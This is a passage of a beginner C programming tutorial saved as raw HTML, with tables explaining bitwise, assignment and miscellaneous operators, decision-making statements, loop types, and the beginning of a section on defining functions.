<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;">&</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Binary AND Operator copies a bit to the result if it exists in both operands.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">(X &Y) = 12</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;">|</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Binary OR Operator copies a bit if it exists in either operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">(X | Y) = 61</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;">^</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Binary XOR Operator copies the bit if it is set in one operand but not both.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">(X ^ Y) = 49</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;">~</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Binary Ones Complement Operator is unary and has the effect of ‘flipping’ bits.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">(~X ) = -211,</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;"><<</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Binary Left Shift Operator. The left operands value is moved left by the number of bits specified by the right operand.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">X << 2 = 200</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 60px;">>></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 538px;">Binary Right Shift Operator. The left operands value is moved right by the number of bits specified by the right operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 92px;">X >> 2 = 19</td></tr>
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<h2 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 21px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
V.Assignment Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Simple assignment operator. Assigns values from right side operands to left side operand</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z = X + Y will assign the value of X + Y to Z</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">+=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Add AND assignment operator. It adds the right operand to the left operand and assign the result to the left operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z += X is equivalent to Z = Z + X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Subtract AND assignment operator. It subtracts the right operand from the left operand and assigns the result to the left operand.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z -= X is equivalent to Z = Z – X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Multiply AND assignment operator. It multiplies the right operand with the left operand and assigns the result to the left operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z *= X is equivalent to Z = Z * X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">/=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Divide AND assignment operator. It divides the left operand with the right operand and assigns the result to the left operand.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z /= X is equivalent to Z = Z/ X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">%=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Modulus AND assignment operator. It takes modulus using two operands and assigns the result to the left operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z %= X is equivalent to Z = Z % X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><<=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Left shift AND assignment operator.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z <<= 2 is same as Z = Z << 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">>>=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Right shift AND assignment operator.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z >>= 2 is same as Z = Z >> 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Bitwise AND assignment operator.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z &= 2 is same as Z = Z & 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">^=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Bitwise exclusive OR and assignment operator.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z ^= 2 is same as Z = Z ^ 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">|=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Bitwise inclusive OR and assignment operator.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z |= 2 is same as Z = Z | 2</td></tr>
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<h2 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 21px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
VI.Misc Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">sizeof()</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Returns the size of a variable.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">sizeof(x), where a is integer, will return 4.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Returns the address of a variable.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&X; returns the actual address of the variable.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Pointer to a variable.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*X;</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">? :</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Conditional Expression.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">If Condition is true ? then value X : otherwise value Y</td></tr>
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<h1 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 24px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 24pt; margin: 0px; padding: 0px; vertical-align: baseline;">5.Decision Making</span></h1>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">S.N.</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Statement & Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">if statementAn <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">if statement</b> consists of a Boolean expression followed by one or more statements.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">if…else statementAn <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">if statement</b> can be followed by an optional <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">else statement</b>, which executes when the Boolean expression is false.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">3</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">nested if statementsYou can use one <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">if</b> or <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">else if</b> statement inside another <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">if</b> or <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">else if</b> statement(s).</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">4</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">switch statementA <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">switch</b> statement allows a variable to be tested for equality against a list of values.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">5</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">nested switch statementsYou can use one <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">switch</b> statement inside another <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">switch</b> statement(s).</td></tr>
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<span style="border: 0px; font-family: inherit; font-size: 24pt; margin: 0px; padding: 0px; vertical-align: baseline;">6.Loops.</span></h1>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">S.N.</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Loop Type & Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">while loopRepeats a statement or group of statements while a given condition is true. It tests the condition before executing the loop body.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">for loopExecutes a sequence of statements multiple times and abbreviates the code that manages the loop variable.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">3</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">do…while loopIt is more like a while statement, except that it tests the condition at the end of the loop body.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">4</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">nested loopsYou can use one or more loops inside any other while, for, or do..while loop.</td></tr>
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<span style="border: 0px; font-family: inherit; font-size: 24pt; margin: 0px; padding: 0px; vertical-align: baseline;">7.Functions.</span></h1>
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What are Functions?</h2>
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A <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">function</b> is a group of statements that together perform a task. Every <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C</b> program has at least one<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">function</b>, which is main(), and all the most trivial programs can define additional <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">functions</b>. You can divide up your code into separate <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">functions</b>.</div>
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<ins class="adsbygoogle" data-ad-client="ca-pub-9567424144805280" data-ad-slot="2710193057" data-adsbygoogle-status="done" style="border: 0px; display: inline-block; font-family: inherit; height: 15px; margin: 0px; padding: 0px; vertical-align: baseline; width: 468px;"><ins id="aswift_6_expand" style="background-color: transparent; border: none; display: inline-table; font-family: inherit; height: 15px; margin: 0px; padding: 0px; position: relative; vertical-align: baseline; visibility: visible; width: 468px;"><ins id="aswift_6_anchor" style="background-color: transparent; border: none; display: block; font-family: inherit; height: 15px; margin: 0px; padding: 0px; position: relative; vertical-align: baseline; visibility: visible; width: 468px;"><iframe allowfullscreen="true" allowtransparency="true" frameborder="0" height="15" hspace="0" id="aswift_6" marginheight="0" marginwidth="0" name="aswift_6" scrolling="no" style="border-style: initial; border-width: 0px; font-family: inherit; height: 15px; left: 0px; margin: 0px; padding: 0px; position: absolute; top: 0px; vertical-align: baseline; width: 468px;" vspace="0" width="468"></iframe></ins></ins></ins></div>
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Defining a Function</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 525px;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Return Type</b> − A function may return a value. The <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">return_type</b> is the data type of the value the function returns. Some functions perform the desired operations without returning a value. In this case, the return_type is the keyword <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">void</b>.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 525px;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Function Name</b> − This is the actual name of the function. The function name and the parameter list together constitute the function signature.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 525px;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Function Body</b> − The function body contains a collection of statements that define what the function does.</td></tr>
